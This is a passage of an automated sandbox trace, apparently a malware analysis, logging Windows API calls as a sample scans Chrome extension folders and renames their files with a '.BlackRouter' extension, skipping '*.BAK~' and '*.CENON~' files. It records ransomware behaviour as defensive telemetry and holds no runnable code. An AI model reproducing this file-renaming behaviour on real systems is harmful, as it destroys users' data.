lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.338] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.339] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.339] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.346] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.346] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.347] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_BR\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.347] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.354] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.354] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.355] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pt_PT\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.355] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.362] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.362] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.363] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ro\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.363] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.370] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.370] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.371] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\ru\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.371] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.378] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.378] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.379] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sk\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.379] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.387] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.387] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.388] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sl\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.389] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.396] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.396] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.397] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sr\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.397] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.404] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.404] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.405] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.405] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.412] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.412] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.413] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.413] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.420] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.420] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.421] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.421] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.428] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.428] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.429] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.429] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.436] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.436] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.437] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.437] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.444] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.444] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.446] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.446] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.452] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.452] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.453] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.454] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.460] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.BAK~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.461] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.462] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.CENON~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.462] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.467] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.468] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.469] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.469] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1addb0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.502] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x5c [0047.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc2d32050, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0047.505] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.html.blackrouter")) returned 1 [0047.506] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x5b [0047.508] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc2d581b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x60)) returned 1 [0047.508] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\main.js.blackrouter")) returned 1 [0047.512] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0xc8d [0047.515] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc2d581b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0xc90)) returned 1 [0047.516] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_128.png.blackrouter")) returned 1 [0047.516] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x1ae238 | out: lpFileSizeHigh=0x1ae238*=0x0) returned 0x8f [0047.519] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), fInfoLevelId=0x0, lpFileInformation=0x1ae280 | out: lpFileInformation=0x1ae280*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86702750, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xc2d581b0, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x90)) returned 1 [0047.519] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\icon_16.png.blackrouter")) returned 1 [0047.524] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.BAK~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.524] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.526] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.526] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1add10, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.807] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.BAK~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.807] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.850] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.CENON~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.850] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adc70, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.884] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.884] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.885] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.885] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.892] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.892] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.893] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.893] GetLongPathNameW (in: lpszShortPath="*.CENON~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.901] GetLongPathNameW (in: lpszShortPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.902] GetLongPathNameW (in: lpszShortPath="*.BAK~", lpszLongPath=0x1adbd0, cchBuffer=0x104 | out: lpszLongPath="") returned 0x0 [0047.903] GetLongPathNameW (in: 